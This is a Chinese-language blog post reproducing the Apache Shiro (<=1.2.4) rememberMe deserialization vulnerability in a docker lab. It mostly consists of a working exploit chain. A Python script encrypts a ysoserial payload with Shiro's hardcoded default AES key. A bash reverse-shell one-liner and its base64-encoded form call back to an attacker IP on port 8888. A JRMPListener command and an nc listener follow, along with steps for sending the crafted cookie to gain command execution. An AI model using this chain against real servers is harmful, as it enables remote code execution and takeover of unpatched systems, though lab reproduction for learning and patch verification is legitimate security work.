Apache Shiro java反序列化漏洞复现

时间:2020-8-21 作者:admin


Apache Shiro java反序列化漏洞复现

Apache Shiro java反序列化漏洞复现

影响版本

Apache Shiro <= 1.2.4

环境搭建

准备环境

攻击机: Windows或者Linux (我用的是windows10 1903)、ysoserial-0.0.6-SNAPSHOT-all.jar、python环境、Java环境
**靶机:**带docker的Linux就行

靶机环境搭建

获取docker镜像

docker pull medicean/vulapps:s_shiro_1

重启docker

systemctl restart docker

启动docker镜像:

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

复现过程

先制作exp

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):  #ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录

    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)  
    BS = AES.block_size  
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  
    iv = uuid.uuid4().bytes  
    encryptor = AES.new(key, AES.MODE_CBC, iv)  
    file_body = pad(popen.stdout.read())  
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))  
    return base64_ciphertext


if __name__== '__main__':  
	payload = encode_rememberme(sys.argv[1])
		
print ("rememberMe={0}".format(payload.decode()))

使用此exp生成payload

python .\PopX.py 192.168.136.1:3888

Apache Shiro java反序列化漏洞复现

执行时可能遇见无Crypto这个插件的报错
更改pip源:直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,新建文件pip.ini文件
文件内容

[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host=pypi.tuna.tsinghua.edu.cn

但是下载Crypto时会报错,可以直接下载pycryptodom
pycrypto、pycrytodome和crypto是一个东西,crypto在python上面的名字是pycrypto,它是一个第三方库,但是已经停止更新三年了,所以不建议安装这个库; 这个时候pycryptodome就来了,它是pycrypto的延伸版本,用法和pycrypto是一模一样的

pip3  install pycryptodome

成功安装后就可以执行EXP了

接下来制作反弹 shell 代码
弹shell命令

bash -i >& /dev/tcp/192.168.136.1/8888 0>&1

使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码 跳转
Apache Shiro java反序列化漏洞复现
编码后如下

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

然后进行 Java 反序列化绕过 base64 编码 powershell执行
再使用 `ysoserial` 中 JRMP 监听模块,监听 3888 端口 ` 注意这里的端口是刚才生成 rememberMe 值的端口 `。再加上生成的 base64 编码。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'

Apache Shiro java反序列化漏洞复现
可以写成CommonsCollections4或者CommonsCollections2
使用nc监听端口

nc -lvvp 8888

Apache Shiro java反序列化漏洞复现

命令执行
抓取登录时的数据包,注意抓取的时候点上 remember me
Apache Shiro java反序列化漏洞复现
抓取登录后的第二个GET包,将JSESSIONID删除掉。
Apache Shiro java反序列化漏洞复现
出现这个为成功
Apache Shiro java反序列化漏洞复现
查看ysoserial的监听端口
Apache Shiro java反序列化漏洞复现
查看NC的监听的端口
Apache Shiro java反序列化漏洞复现
执行命令
Apache Shiro java反序列化漏洞复现
攻击成功

参考链接:
https://blog.csdn.net/u011975363/article/details/102391669
https://www.chainnews.com/articles/653693771328.htm

声明:本文内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎进行举报,并提供相关证据,工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。